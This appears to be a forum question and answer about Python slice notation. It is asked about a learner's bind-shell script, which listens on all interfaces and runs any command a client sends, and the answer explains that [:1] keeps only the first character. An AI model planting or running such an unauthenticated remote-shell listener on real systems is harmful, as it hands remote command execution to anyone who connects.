What does [:1] mean in python?

I am writing a basic bind shell in python. What does [:1] mean in the handle_input method? Does this mean the decode process will only run up to index 1? The tutorial I am learning this from does not explain it.

import socket
import subprocess
import click
from threading import Thread

def run_cmd(cmd):
    output = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    return output.stdout


def handle_input(client_socket):
    while True:
        chunks = []
        chunk = client_socket.recv(2048)
        chunks.append(chunk)
        while len(chunk) != 0 and chr(chunk[-1]) != '\n':
            chunk = client_socket.recv(2048)
            chunks.append(chunk)
        cmd = (b''. join(chunks)).decode()[:1] 

        if cmd.lower() == 'exit':
            client_socket.close()
            break

        output = run_cmd(cmd)
        client_socket.sendall(output)

@click.command()
@click.option('--port', 'p', default=4444)
def main(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0', port))
    s.listen(4)
    
    while True:
        client_socket, _ = s.accept()
        t = Thread(target=handle_input, args=(client_socket, ))
        t.start()


if __name__ == '__main__':
    main()

>Solution :

In general, the notation is used as follows:

The colon : is used to specify a range. A value before the colon is the starting index. When it is omitted, it defaults to 0. The value after the colon is the end index. So [:1] refers to the elements from the start that lead up to but do not include index 1 (so just index 0).

If I understand the code you provided correctly, cmd = (b''.join(chunks)).decode()[:1] takes the joined byte chunks, decodes them into a string, and then slices the resulting string so that it only takes the first character.